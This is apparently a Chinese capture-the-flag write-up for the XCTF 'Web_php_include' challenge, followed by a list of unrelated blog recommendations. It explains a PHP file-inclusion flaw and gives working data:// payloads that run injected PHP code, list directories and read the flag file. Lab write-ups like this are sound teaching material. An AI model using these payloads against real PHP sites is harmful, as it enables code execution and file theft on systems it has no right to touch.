32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
呱呱巨基3 小时前
Linux 进程概念
linux·c++·笔记·学习
yong15858553434 小时前
2. Linux C++ muduo 库学习——原子变量操作头文件
linux·c++·学习
老王熬夜敲代码5 小时前
C++中的atomic
开发语言·c++·笔记·面试
IDIOT___IDIOT5 小时前
KNN and K-means 监督与非监督学习
学习·算法·kmeans
Rousson5 小时前
硬件学习笔记--91 TMR型互感器介绍
笔记·学习
Ingsuifon5 小时前
yolov5模型迁移笔记
笔记·yolo
常家壮6 小时前
Windows隐藏账号创建完全指南:技术原理与安全实践
windows·安全·渗透测试·后门·windows隐藏账号
前端 贾公子6 小时前
Vue响应式原理学习:基本原理
javascript·vue.js·学习
Slaughter信仰6 小时前
图解大模型_生成式AI原理与实战学习笔记前四张问答(7题)
人工智能·笔记·学习
云计算练习生7 小时前
渗透测试行业术语扫盲(第六篇)—— Web安全专用类术语
web安全·网络安全·信息安全·渗透测试术语